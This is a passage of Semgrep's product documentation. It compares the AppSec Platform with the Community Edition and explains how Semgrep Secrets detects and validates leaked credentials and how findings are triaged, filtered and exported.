*Tuning assists in the prevention of vulnerabilities from entering production.*
##### Semgrep Community Edition
Tuning is not supported in Semgrep CE, but you can customize the rules you run on your scans.
Semgrep CE does not provide any metrics that may inform you of potential performance improvements you can make.
##### Semgrep AppSec Platform
The [Policies](/semgrep-code/policies) feature manages rules, helps block PRs or MRs from entering production, and configures which findings are presented to developers. This feature is available for both Semgrep Code and Secrets.
You can test a rule's performance by first **monitoring** its performance (and showing it only in AppSec environments), then changing its mode to leave comments or help block a PR or MR from merging.
You can also write custom SAST and Secrets rules and share these rules to the rest of your organization.
### Reporting
*Track the success of your security program and trends over time by generating reports.*
##### Semgrep Community Edition
Semgrep CE does not include any reporting features.
##### Semgrep AppSec Platform
Semgrep's dashboard provides filters to create multiple views over different periods of time.
It is optimized to show progress towards the adoption of a **secure guardrails** approach to AppSec through the following key metrics:
* Findings shown to developers
* Findings fixed before backlog (before entering production)
* Most findings by project
Semgrep Supply Chain can export SBOMs (software bills of materials) for you to keep track of all of a codebase's dependencies.
***Figure**. The dashboard page. Hover over the charts to view data for that point in time.*
## Appendix
This section provides a comprehensive comparison of each offering's features.
### Deployment
##### Semgrep Community Edition
* [Local scans](/getting-started/quickstart-ce)
* [Manual CI job set up](/deployment/oss-deployment)
* [IDE plugins](/extensions/overview)
* [`pre-commit`](/extensions/pre-commit)
##### Semgrep AppSec Platform
* [Local scans](/getting-started/cli)
* [Automated set up with various CI providers](/deployment/add-semgrep-to-ci) through the web app
* [Manual configuration options](/deployment/add-semgrep-to-other-ci-providers) for other providers
* [IDE plugins](/extensions/overview) with persistent settings across your organization
* [`pre-commit` with persistent settings](/extensions/overview#pre-commit) across your organization
* Connects to [GitHub, GitLab, Bitbucket, and Azure DevOps repositories](/deployment/connect-scm)
* Secure access between your private network and Semgrep through the [Network Broker](/semgrep-ci/network-broker)
* Single tenancy
* [Managed scans](/deployment/managed-scanning/overview)
* [SSO](/deployment/sso) and managed authentication through GitHub or GitLab
* [Project management](/deployment/manage-projects), such as tagging, setting of a primary branch, and so on; a project can either be a repository or a folder within a monorepo
* [Team management](/deployment/teams/overview)
### Scanning and analyses
##### Semgrep Community Edition
Semgrep CE provides cross function constant propagation and single function taint analysis.
###### Semgrep Community Edition (SAST)
* [30+ Community supported languages](/semgrep-ce-languages#semgrep-code-and-community-edition)
* [ Community rules](https://semgrep.dev/r?visib=Community+%28Public%29)
##### Semgrep AppSec Platform
All Semgrep products make use of cross file, cross function taint analysis and more.
###### Semgrep Code (SAST)
* [35+ supported languages](/semgrep-ce-languages#semgrep-code-and-community-edition)
* [ Pro (professionally written and maintained)](https://semgrep.dev/r?visib=Pro+%28Login%29) and Community rules
* Framework-specific and language-specific analysisβsee [Java examples](/semgrep-code/java) and [Python frameworks coverage](/languages/python)
* [Code search](/semgrep-code/editor#code-search-beta)
###### Semgrep Supply Chain (SCA)
* [10+ supported languages](/supported-languages#semgrep-supply-chain)
* [Manifest files, lockfiles, and reachability](/semgrep-supply-chain/overview#open-source-security-vulnerabilities) analysis
* 100% of High and Critical CVEs covered for supported languages since May 2022
###### Semgrep Secrets
* [Entropy, semantic analysis, and validation](/semgrep-secrets/conceptual-overview) ensure that detected keys are actually active and leaked
* 630+ credentials or keys detected by Semgrep Secrets
* [Historical scans](/semgrep-secrets/historical-scanning)
### Triage and remediation
##### Semgrep Community Edition
* You must manually set up Semgrep CE to send findings to an ASPM.
##### Semgrep AppSec Platform
* Semgrep tracks triage states and enables triage from findings in any supported environment (CLI, CI, IDE, your PR or MR). See [Code > Findings](/semgrep-code/findings) for more information.
* Filtering by severity, confidence, and many other attributes assist in managing volume.
* AI-assisted triage and remediation
* AI-assisted [component tagging](/semgrep-multimodal/overview#component-tags)
* AI-assisted [Memories](/semgrep-multimodal/overview#memories), which enable you to tell the AI organization specific libraries to suggest when guiding developers
* [PR comments or MR comments](/category/pr-or-mr-comments) can be sent to developers in their native environment (GitHub, GitLab, Azure DevOps, Bitbucket) and developers can triage in their native development through triage commands
* Slack, email, and webhook [notification channels](/semgrep-appsec-platform/notifications)
* [Creation of Jira tickets](/semgrep-appsec-platform/jira) and customizable mapping of attributes
### Tuning and prevention
##### Semgrep Community Edition
Minimal customization options to tune your scans:
* Customize SAST scans through the rules you run in the CLI
* Write custom SAST rules
##### Semgrep AppSec Platform
* Customize SAST and Secrets scans through rule selection in [policies](/semgrep-code/triage-remediation)
* Write, save, manage, and fork custom SAST and Secrets detection rules in the [Editor](/semgrep-code/editor)
* Store rules in Semgrep AppSec Platform and deploy to your organization
* Policy-based workflows: Semgrep can perform workflow actions such as failing a CI job or leaving a PR comment based on user-defined policies for SAST and Secrets scans
* Semgrep Code: [Code search](/semgrep-code/editor#code-search-beta)
* Semgrep Supply Chain:
* [License compliance](/semgrep-supply-chain/license-compliance)
* [Dependency search](/semgrep-supply-chain/dependency-search)
### Reporting
##### Semgrep Community Edition
* You must manually set up Semgrep CE to send findings to an ASPM.
##### Semgrep AppSec Platform
* [Dashboard](/semgrep-appsec-platform/dashboard)
* [SBOM Export](/semgrep-supply-chain/sbom)
# Semgrep AppSec Platform versus Semgrep Community Edition
Source: https://docs.semgrep.dev/semgrep-pro-vs-oss-1
You can use **Semgrep AppSec Platform (Semgrep)** or **Semgrep Community Edition (Semgrep CE)** to scan your code for security issues, bugs, and compliance to coding standards. However, there are key differences between the two offerings.
**TIP**
Refer to the [appendix](#appendix) to skim all features of both offerings.
## Product terms
The offerings in this document are defined as follows:
**Semgrep Community Edition (Semgrep CE)**
Includes an open source, lightweight SAST scanner and rules in the [Semgrep Registry](https://semgrep.dev/r/) with **open source licenses**. You can also write your own custom rules. Semgrep CE also includes the Visual Studio Code (VS Code) and IntelliJ extensions. The Community Edition is best for small teams or personal projects.
**Semgrep AppSec Platform (Semgrep)**
Refers to a proprietary software suite tailored to support AppSec engineers through the entire software development life cycle (SDLC). Best for deploying security programs throughout their organization. Many of Semgrep's features support the deployment of [secure guardrails](/secure-guardrails/secure-guardrails-in-semgrep). Semgrep includes the following products:
**Semgrep Code**
A SAST scanner that uses cross-file (interfile) and cross-function (intrafile) analysis for improved results over Semgrep Community Edition. Semgrep Code includes rules written by Semgrep's Security Research team, called **Pro Rules**. These rules use cross-file analysis to reduce false positives.
**Semgrep Supply Chain**
A high-signal dependency scanner that detects reachable vulnerabilities in open source third-party libraries and functions across the software development life cycle (SDLC).
**Semgrep Secrets**
A secrets scanner that, in addition to detecting secrets, validates these leaked secrets on a variety of services to help you prioritize active secrets.
**NOTE**
Semgrep Code and Semgrep Supply Chain are free for up to 10 contributors.
## Comparison by core workflows
### Deployment
*The process of integrating Semgrep into your developer and infrastructure workflows.*
##### Semgrep Community Edition
Semgrep CE runs in your local machine's CLI through the `semgrep scan` command.
Deploying in bulk or at scale is a manual task. Semgrep CE can scan a remote repository by running as part of a CI job but you must write and configure the CI job for each repository.
##### Semgrep AppSec Platform
Semgrep can scan in the following environments:
* CI
* Web app (for Managed Scans)
* CLI
* IDE
* `pre-commit`
Your scan configuration, such as rules and policies, and scan analysis (SAST, SCA, or secrets) are preserved across all environments.
Users comfortable with granting Semgrep code access can quickly deploy Semgrep to thousands of repositories through [Managed Scans](/deployment/managed-scanning/overview).
Semgrep supports various CI providers and source code managers (SCMs) such as GitHub, GitLab, Bitbucket, and Azure.
### Scanning and analyses
*The process of analyzing source code for findings. This section explains the analyses available to both product offerings.*
##### Semgrep Community Edition
Semgrep CE provides the following SAST analyses:
* Single file, cross function constant propagation
* Single function taint analysis
* Semantic analysis
The limited scope makes it fast, at the cost of coverage and precision.
It can't track data beyond a single function or file and may find more false positives.
##### Semgrep AppSec Platform
Semgrep supports SAST, SCA, and secret scans as listed in [Product terms](#product-terms). You can run these **scan types** across all of your environments, preserving any configuration you have made.
* Cross file, cross function constant propagation
* Cross file, cross function taint analysis
* Framework and language-specific semantic analysis
* **Semgrep Multimodal** (AI-assisted) post-processing analysis:
* Reduces noise by 20%
* Adds contextual remediation guidance
* Reachability analysis
* Open source license enforcement
* Dependency search
* Validation of active, leaked secrets
* Entropy
* Historical scanning
Additionally, the Semgrep team maintains and contributes to premium rules, known as Pro rules, that specifically make use of the advanced analyses listed here.
**TIP**
Certain languages, such as Apex, are available only on Semgrep AppSec Platform.
The following diagrams summarize the differences between the two:
### Triage and remediation
*Triage is the process of reviewing findings and determining if a finding is a true or false positive, and whether to fix the finding or not. Remediation refers to the steps taken to resolve the finding.*
***Ticketing and notification integrations** are included in this workflow to inform developers of fixes and remediation guidance they may need to take to close the finding.*
##### Semgrep Community Edition
###### Triage
There are no out-of-the-box features in Semgrep CE for triaging findings.
However, you can output findings to JSON and SARIF then send those findings to an AppSec Posture Management (ASPM) software such as DefectDojo.
##### Semgrep AppSec Platform
###### Triage
Semgrep tracks a single finding throughout its lifetime from its initial creation, when its status is **Open**, to various triage states such as **Ignored**, or **Reviewing**.
Developers and AppSec engineers are able to provide reasons for a finding's status, such as **Acceptable risk** or **False positive** for **Ignored** findings.
Semgrep provides AI-assisted triage through Semgrep Multimodal, which can analyze all your findings to suggest which findings it thinks are false positives.
* Step-by-step remediation
* Can be viewed by developers and AppSec engineers in their preferred environment
* Ability to learn your preferred libraries and functions through **Memories**
Lastly, Semgrep supports the creation of tickets in Jira and various notification channels such as Slack and webhooks.
### Tuning and prevention
*Tuning refers to the improvement of Semgrep's engine, rules, and policies to improve such metrics as the true positive rate, net new findings, and findings fixed before they enter production.*
*Tuning assists in the prevention of vulnerabilities from entering production.*
##### Semgrep Community Edition
Tuning is not supported in Semgrep CE, but you can customize the rules you run on your scans.
Semgrep CE does not provide any metrics that may inform you of potential performance improvements you can make.
##### Semgrep AppSec Platform
The [Policies](/semgrep-code/policies) feature manages rules, helps block PRs or MRs from entering production, and configures which findings are presented to developers. This feature is available for both Semgrep Code and Secrets.
You can test a rule's performance by first **monitoring** its performance (and showing it only in AppSec environments), then changing its mode to leave comments or help block a PR or MR from merging.
You can also write custom SAST and Secrets rules and share these rules to the rest of your organization.
### Reporting
*Track the success of your security program and trends over time by generating reports.*
##### Semgrep Community Edition
Semgrep CE does not include any reporting features.
##### Semgrep AppSec Platform
Semgrep's dashboard provides filters to create multiple views over different periods of time.
It is optimized to show progress towards the adoption of a **secure guardrails** approach to AppSec through the following key metrics:
* Findings shown to developers
* Findings fixed before backlog (before entering production)
* Most findings by project
Semgrep Supply Chain can export SBOMs (software bills of materials) for you to keep track of all of a codebase's dependencies.
***Figure**. The dashboard page. Hover over the charts to view data for that point in time.*
## Appendix
This section provides a comprehensive comparison of each offering's features.
### Deployment
##### Semgrep Community Edition
* [Local scans](/getting-started/quickstart-ce)
* [Manual CI job set up](/deployment/oss-deployment)
* [IDE plugins](/extensions/overview)
* [`pre-commit`](/extensions/pre-commit)
##### Semgrep AppSec Platform
* [Local scans](/getting-started/cli)
* [Automated set up with various CI providers](/deployment/add-semgrep-to-ci) through the web app
* [Manual configuration options](/deployment/add-semgrep-to-other-ci-providers) for other providers
* [IDE plugins](/extensions/overview) with persistent settings across your organization
* [`pre-commit` with persistent settings](/extensions/overview#pre-commit) across your organization
* Connects to [GitHub, GitLab, Bitbucket, and Azure DevOps repositories](/deployment/connect-scm)
* Secure access between your private network and Semgrep through the [Network Broker](/semgrep-ci/network-broker)
* Single tenancy
* [Managed scans](/deployment/managed-scanning/overview)
* [SSO](/deployment/sso) and managed authentication through GitHub or GitLab
* [Project management](/deployment/manage-projects), such as tagging, setting of a primary branch, and so on; a project can either be a repository or a folder within a monorepo
* [Team management](/deployment/teams/overview)
### Scanning and analyses
##### Semgrep Community Edition
Semgrep CE provides cross function constant propagation and single function taint analysis.
###### Semgrep Community Edition (SAST)
* [30+ Community supported languages](/semgrep-ce-languages#semgrep-code-and-community-edition)
* [ Community rules](https://semgrep.dev/r?visib=Community+%28Public%29)
##### Semgrep AppSec Platform
All Semgrep products make use of cross file, cross function taint analysis and more.
###### Semgrep Code (SAST)
* [35+ supported languages](/semgrep-ce-languages#semgrep-code-and-community-edition)
* [ Pro (professionally written and maintained)](https://semgrep.dev/r?visib=Pro+%28Login%29) and Community rules
* Framework-specific and language-specific analysisβsee [Java examples](/semgrep-code/java) and [Python frameworks coverage](/languages/python)
* [Code search](/semgrep-code/editor#code-search-beta)
###### Semgrep Supply Chain (SCA)
* [10+ supported languages](/supported-languages#semgrep-supply-chain)
* [Manifest files, lockfiles, and reachability](/semgrep-supply-chain/overview#open-source-security-vulnerabilities) analysis
* 100% of High and Critical CVEs covered for supported languages since May 2022
###### Semgrep Secrets
* [Entropy, semantic analysis, and validation](/semgrep-secrets/conceptual-overview) ensure that detected keys are actually active and leaked
* 630+ credentials or keys detected by Semgrep Secrets
* [Historical scans](/semgrep-secrets/historical-scanning)
### Triage and remediation
##### Semgrep Community Edition
* You must manually set up Semgrep CE to send findings to an ASPM.
##### Semgrep AppSec Platform
* Semgrep tracks triage states and enables triage from findings in any supported environment (CLI, CI, IDE, your PR or MR). See [Code > Findings](/semgrep-code/findings) for more information.
* Filtering by severity, confidence, and many other attributes assist in managing volume.
* AI-assisted triage and remediation
* AI-assisted [component tagging](/semgrep-multimodal/overview#component-tags)
* AI-assisted [Memories](/semgrep-multimodal/overview#memories), which enable you to tell the AI organization specific libraries to suggest when guiding developers
* [PR comments or MR comments](/category/pr-or-mr-comments) can be sent to developers in their native environment (GitHub, GitLab, Azure DevOps, Bitbucket) and developers can triage in their native development through triage commands
* Slack, email, and webhook [notification channels](/semgrep-appsec-platform/notifications)
* [Creation of Jira tickets](/semgrep-appsec-platform/jira) and customizable mapping of attributes
### Tuning and prevention
##### Semgrep Community Edition
Minimal customization options to tune your scans:
* Customize SAST scans through the rules you run in the CLI
* Write custom SAST rules
##### Semgrep AppSec Platform
* Customize SAST and Secrets scans through rule selection in [policies](/semgrep-code/triage-remediation)
* Write, save, manage, and fork custom SAST and Secrets detection rules in the [Editor](/semgrep-code/editor)
* Store rules in Semgrep AppSec Platform and deploy to your organization
* Policy-based workflows: Semgrep can perform workflow actions such as failing a CI job or leaving a PR comment based on user-defined policies for SAST and Secrets scans
* Semgrep Code: [Code search](/semgrep-code/editor#code-search-beta)
* Semgrep Supply Chain:
* [License compliance](/semgrep-supply-chain/license-compliance)
* [Dependency search](/semgrep-supply-chain/dependency-search)
### Reporting
##### Semgrep Community Edition
* You must manually set up Semgrep CE to send findings to an ASPM.
##### Semgrep AppSec Platform
* [Dashboard](/semgrep-appsec-platform/dashboard)
* [SBOM Export](/semgrep-supply-chain/sbom)
# Semgrep Secrets overview
Source: https://docs.semgrep.dev/semgrep-secrets/conceptual-overview
**Semgrep Secrets** scans code to detect exposed API keys, passwords, and other credentials. When exposed, these can be used by malicious actors to leak data or gain access to sensitive systems. Semgrep Secrets allows you to determine:
* What secrets have been committed to your repository.
* The validation status of the secret; for example, **valid** secrets are those that have been tested against a web service and confirmed to successfully grant resources or authentication. They are actively in use.
* For GitHub repositories: if there are credentials in public or private repositories.
Semgrep saves security engineers time and effort by prioritizing valid leaked secrets and informs developers of valid secrets in their PRs and MRs by posting comments directly.
## How Semgrep Secrets works
To ensure that findings are high-signal, comprehensive, and easy for users to prioritize, a Semgrep Secrets scan performs the following:
* Search using regex
* Semantic analysis
* Validation
* Entropy analysis
The following sections explain how each step works.
### Detect secrets through regex
Semgrep Secrets uses a regex language detector to find secrets in various file types. This is done by detecting a commonly defined prefix and then searching for the secret using its expected length and format.
To reduce the number of false positives this process raises, Semgrep uses and combines as many of the following processes with its search using regex when possible:
* Removal of results that are likely to be false positives
* Validation
* Entropy analysis
### Detect secrets through semantic analysis
Semantic analysis refers to Semgrep Secrets' ability to understand how data is used within your code. This differentiates Semgrep Secrets from regex-based detectors that simply define a pattern to match a piece of code.
Semgrep Secrets uses several mechanisms to perform semantic analysis. It uses [ dataflow analysis](/writing-rules/data-flow/data-flow-overview) and [ constant propagation](/writing-rules/data-flow/constant-propagation) which means that it is able to track data, such as variables, and the flow of that data across files and functions in your codebase.
Performing semantic analysis is encapsulated in [ rules](/running-rules). By running these rules, Semgrep Secrets is able to detect if a variable is renamed, reassigned, or used in a function in such a way that a secret is exposed.
See the following rule and JavaScript test code for an example.
### Validate secrets
After scanning your codebase, Semgrep Secrets uses a proprietary **validator** to determine if a secret is actively being used or some other state if there is a validator defined in the rule used.
**INFO**
All validations, such as API calls, are done **locally** in your environment. No tokens are sent to Semgrep servers.
1. The validator detects the service, such as Slack or AWS, that the secret is used for.
2. If the validator doesn't support the service that the secret is used for, Semgrep notes that there is **No validator** finding for the secret.
3. Semgrep Secrets performs an API
call if the validator supports the service. The following outcomes can occur:
* **Confirmed valid:** Semgrep made an HTTP request using the secret, and it returned an HTTP status code of 200 or similar **and** some indication of valid access. For example, a service can include a `"message": "ok"` in the response body.
* **Confirmed invalid:** Semgrep made an HTTP request using the secret and it returned an HTTP status code of 401 or similar.
* **Validation error:** Semgrep made an HTTP request using the secret, but either the network request could not be made, a timeout occurred, or the HTTP status code returned a different HTTP status code. In this case, the Semgrep Team recommends manually reviewing the finding.
* **No Validator:** The rule does not have a validator. The Semgrep Team recommends manually reviewing the finding.
By performing this validation check, you can prioritize and triage the most high-priority, active findings.
**NOTE**
* For a list of all supported detectors that Semgrep offers, see the [Policies](/semgrep-secrets/policies) page in your deployment.
* See [Validators](/semgrep-secrets/validators) for syntax and examples.
### Fine-tune findings through entropy analysis
Entropy is the measure of a **string's randomness**. It's used to measure how likely a string is random. If a string is highly entropic, it's highly random. For certain types of secrets, such as API keys, randomness indicates that a string could be a secret. By performing entropy analysis, Semgrep Secrets can reduce false positives and produce more true positives.
Examples of high-entropy (random) strings:
```
VERZVs+/nd56Z+/Qxy1mzEqqBwUS1l9D4YbqmPoOΓ
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
```
Examples of low-entropy strings:
```
XXXXXX
txtPassword1
```
## Next steps
See [ Scan for secrets](/semgrep-secrets/getting-started) to learn how to:
* Enable secrets scanning for your repositories
* Manage the rules in your [policy](/semgrep-secrets/policies) to control how your scan runs.
* View and triage secrets-related findings
* Receive notifications and post tickets whenever Semgrep Secrets identifies issues
* Write [custom rules](/semgrep-secrets/rules) with [validators](/semgrep-secrets/validators) to find bespoke secrets
# View findings details
Source: https://docs.semgrep.dev/semgrep-secrets/finding-details
The finding's details page displays in-depth information about the finding, including:
* A detailed description of the finding
* Rule details, including the rule pattern itself
* Finding details, such as whether the secret has been confirmed to be valid, when the finding was identified, the project and branch name, and commit ID where the issue was introduced
* The code snippet where the issue was identified, along with a link to the source code where Semgrep identified the issue
* The validator used to test whether the credential can be used
* Activity history for the finding, including status changes to the finding, notes written by other Semgrep users specifically about this finding, and more
## View a finding's details
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **Navigation bar**, click **[Secrets](https://semgrep.dev/orgs/-/secrets)**.
Identify the finding whose details you want to view:
* If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
* If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
## Available actions on the finding details' page
Click on the **kebab** icon to see the menu that includes the following options:
* **Mark as reviewing** to change its status to **Reviewing** and flag the finding as one that is under further manual review
* **Copy file path** of the source code where Semgrep identified the issue
* **Copy link** to the finding's details page
### Ignore the finding
Click **Ignore...** to ignore the finding. Provide an **Ignore reason**, and add **Comments** on why you think that this finding should be ignored.
If the file for the finding in question is a test file or something similar, you can choose the **Ignore files in future scans...** option, then select the file. Semgrep ignores the file in subsequent scans.
Click **Ignore** to proceed.
### Fix the finding
Click **Fix** see the menu that includes the following options:
* View the associated Jira ticket, if available
* Open a PR that fixes the issue, if possible
* Change the status of the issue as **To fix**, indicating that you plan to return to the finding in the future
Note that Semgrep automatically marks findings as fixed when they're no longer detected in subsequent scans.
### Add notes to findings
To **add notes** to the activity history of a finding:
Select a finding where you want to view details or add notes, and then do one of the following actions:
* If the default **Group by Rule** is enabled, click **Details** icon on the card of the finding.
* If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
Go to the **Activity** section, then click **New note**.
# View findings in Semgrep AppSec Platform
Source: https://docs.semgrep.dev/semgrep-secrets/findings
Semgrep Secrets generates a **finding** when a rule matches a piece of code in your codebase. You can use Semgrep AppSec Platform's [**Secrets** page](https://semgrep.dev/orgs/-/findings) to view all of the findings generated by Semgrep Secrets after it scans your codebase.
## View findings
To view your findings in Semgrep AppSec Platform:
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **Navigation bar**, click **[Secrets](https://semgrep.dev/orgs/-/secrets)**.
By default, Semgrep displays your **Priority** findings. Priority findings are defined as **valid** secrets with **critical** or **high** severity.
You can switch to the **All** tab at any point to view all findings identified by Semgrep Secrets. Both the **Priority** findings view and the **All** findings view display high-level information about your findings. Each finding in the list includes information such as finding age, code location, project, branch, and validation status.
The **Priority** tab displays all available findings filters. The findings filters shown are not limited to those pre-selected by Semgrep. This allows you to customize the **Priority** tab to meet your organization's requirements and display the findings you categorize as priorities.
**LOCAL SCANS**
Findings from local scans are differentiated from their remote counterparts through their slugs. Remote repositories are identified as ACCOUNT\_NAME/REPOSITORY\_NAME, while local repositories are identified by default as local\_scan/REPOSITORY\_NAME.
### Custom Priority tab
Semgrep admins can create a custom priority definition to change the findings shown on the **Priority** tab. To do so:
Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**. Ensure that you're viewing the **Priority**.
Using the provided filters, set your parameters for priority findings.
Click **Save**.
You'll see a dialog window asking you to confirm that you want the changes saved for everyone. Click **Save** to proceed.
This change applies to the entire Semgrep organization. You cannot have separate priority definitions for individual users or teams.
## Filter findings
Regardless of whether you use the **Priority** findings view or the **All** findings view, there are multiple grouping and filtering options available to you.
### Time period
The time period filters allow you to see which vulnerabilities were opened, fixed, or triaged during a certain period of time. The time period filter is **not** additive; it is a filter operation that precedes other filters on the page. For example, if you select **Last triaged** and select the status **Status Open** filter, no findings appear because, by definition, there are no triaged findings that are also open.
The following filters are available:
* Triage state update action:
* Opened in
* Triaged in
* Fixed in
* Time period:
* Last day
* Last 7 days
* Last 30 days
* Last 3 months
* Last 6 months
* Last year
* All time
### Project
The **Project** filter allows you to search for findings associated with the selected projects.
### Status
The **Status** filter allows you to search for findings in the selected statuses. See [Triage status](/semgrep-secrets/findings#triage-statuses) for additional information.
### Severity
The **Severity** filter allows you to view findings of particular severities. Secrets finding severity is derived from the corresponding rule severity, as is the case for other Semgrep findings.
However, Semgrep Secrets rules may provide different severities based on validation state and environment. For example, an invalid secret may be assigned **Medium** severity, a valid secret for a sandbox environment may be assigned **High** severity, and a valid secret in a production environment may be assigned **Critical** severity. This reflects the different risk levels associated with each situation.
Possible values:
Low
Medium
High
Critical
### Additional filters
Semgrep offers additional filters that you can use to narrow down your results. The following filters are available:
| Filter | Description |
| :---------------------------------------------------------------------------------------- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Validation state** | Filter by [whether the secret is operative on the related service](#validation). Semgrep Secrets rules include validators, which can check whether the secret is valid for the service with which it is associated. |
| **Secret** type | Filter by the type of secret, such as **private key**, or the web service that makes use of the secret, such as **Sendgrid** or **Stripe**. |
| **Repository** visibility | Filter by whether the repository's [visibility](#repository-visibility) status. |
| **Historical findings** | Filter for findings that are valid, leaked secrets in previous Git commits. |
| **Project** tags | Filter for findings based on the tags associated with the project. |
| **Multimodal file risk level** | Filter for findings based on Multimodal's assessment of risk level of files based on the type of code identified. High-risk files contain sensitive information, such as authorization and authentication details, while low-risk files may be things like test files. You can further filter by file type, such as **payments** or **tests**. |
| **Multimodal autotriage** | Filter by whether [Multimodal autotriage](/semgrep-multimodal/overview#autotriage) has determined the finding to be a **True positive** or **False positive**. |
#### Triage statuses
**Triage** is the prioritization of a finding based on policies or criteria set by your team or organization, such as severity, coding standards, business goals, and product goals.
Semgrep AppSec Platform uses the logic specified in the table below to automatically mark findings as either fixed or removed when they are no longer present in the code.
You can manually **Ignore** findings or set them as **To fix** or **Reviewing** in Semgrep AppSec Platform directly through **triage** or **bulk triage** actions.
The triage statuses are as follows:
| Status | Description |
| :------------------------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
| **Provisionally ignored** | Findings where Semgrep has determined the secret to be **invalid**. The secret has been revoked, was never functional, or used for a custom or private endpoint that Semgrep can't communicate with. |
| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
#### Validation
Refers to whether or not a secret is active and can be used to grant resources or authentication, or if a secret is inactive.
* **Confirmed valid:** Semgrep made an HTTP request using the secret, and it returned an HTTP status code of 200 or similar **and** some indication of valid access. For example, a service can include a `"message": "ok"` in the response body.
* **Confirmed invalid:** Semgrep made an HTTP request using the secret and it returned an HTTP status code of 401 or similar.
* **Validation error:** Semgrep made an HTTP request using the secret, but either the network request could not be made, a timeout occurred, or the HTTP status code returned a different HTTP status code. In this case, the Semgrep Team recommends manually reviewing the finding.
* **No Validator:** The rule does not have a validator. The Semgrep Team recommends manually reviewing the finding.
#### Repository visibility
Refers to whether or not the repository is a public repository or private. This is detected through your source code manager.
| Repository visibility | Description |
| --------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Public | Repository access doesn't require authentication; at a minimum, it can be viewed by anyone. |
| Private | Repository access requires authentication. |
| Unknown | Semgrep Secrets is unable to detect your repository visibility. This is typically assigned to:
Scans from local developer machines.
Scans from any non-GitHub source code manager, such as GitLab.
|
**INFO**
Semgrep supports visibility detection only for GitHub repositories.
## Group and sort findings
By default, Semgrep displays your findings using the **Group by Rule** view. This view shows your findings grouped by the rule Semgrep used to match the code. Your findings are shown sorted **by severity**, but you can opt to sort **by number of findings** for a given rule.
To view findings individually, click **Group & sort > No grouping**. Findings are displayed based on the date they were found, with the most recent finding listed at the top.
## Export findings
You can export findings to a **CSV** file. Semgrep can export up to **10,000 most recent findings**. To export more than 10,000 findings, you must use the [API](/api-reference/v1/Introduction).
Semgrep exports all findings to the CSV file regardless of the filters you apply on the page.
Export findings by navigating to the product page and clicking the ** icon** near the **Group & Sort** filters.
| Field | Description |
| :-------------------- | :---------------------------------------------------------------------------------------------------------------------------------------- |
| Id | The unique ID number of the finding. |
| Rule name | The name of the rule. |
| Product | The Semgrep product. Possible values are **Code**, **Code (AI)**, **Supply Chain**, or **Secrets**. |
| Severity | The finding's severity. Possible values are **Critical**, **High**, **Medium**, or **Low**. |
| Status | The finding's triage status. |
| Confidence | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
| Multimodal component | A descriptor, such as `API`, `Payments processing`, `Infrastructure`, that Multimodal tags the finding with, based on the code's context. |
| Repository name | The name of the repository where Semgrep found the finding. |
| Repository URL | The repository URL. |
| Line of code URL | The URL to the specific line of code where the finding match began. A finding may be several lines long. |
| Semgrep platform link | A link to the finding's **Details** page in Semgrep AppSec Platform. |
| Created at | The time the finding was created in your timezone. |
| Last Opened at | The time the finding was last opened. |
| Branch | The name of the branch where the finding was detected. |
| Triaged at | The most recent time that the finding was triaged. |
| Triage comment | A triage comment created by the user. |
| Triage reason | The reason why the finding was triaged, created by the user. |
| Rule description | The description of the rule. This is the same as the rule's `message` key. |
The following fields are exclusive to **Code** scans:
| Field | Description |
| :---------------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------- |
| Confidence | The finding's confidence. Possible values are **High**, **Medium**, or **Low**. Only Semgrep Supply Chain and Code findings provide this field. |
| Category | The finding's category, such as **best practices**, **security**, or **correctness**. |
| Is pro rule | Boolean value that returns `TRUE` if the rule that generated the finding is a pro rule. |
| Assistant triage result | Provides Semgrep Multimodal's assessment. Possible values are `True positive` or `False positive`. These values appear only if Multimodal is enabled. |
| Assistant triage reason | A short AI-generated reason why Multimodal thinks the finding is a true or false positive. These values appear only if Multimodal is enabled. |
The following fields are exclusive to **Supply Chain** scans:
| Field | Description |
| :----------- | :--------------------------------------------------------------------------------------------------------------- |
| Dependency | The name of the dependency where the findings was found. |
| Reachability | The reachability status of the finding, such as **Reachable**, **No Reachability Analysis**, or **Unreachable**. |
| Transitivity | States whether the finding originates from a direct or transitive dependency. |
| CVE | The CVE number that the finding is assigned to. |
| EPSS | The EPSS score, which estimates the likelihood that a software vulnerability can be exploited in the wild. |
The following fields are exclusive to **Secrets** scans:
| Field | Description |
| :----------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Secret type | Possible values include **AI-detected**, **Generic secret**, **Connection URI**, and so on. |
| Validation | States whether or not the secret was validated. |
| Project visibility | States whether the project (repository) is public or private. This feature supports GitHub-hosted repositories only. It returns an **Unknown** value for non-GitHub SCMs. |
## View details about a specific finding
To view in-depth information about a specific finding, select the finding whose details you want to view. Then:
* If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
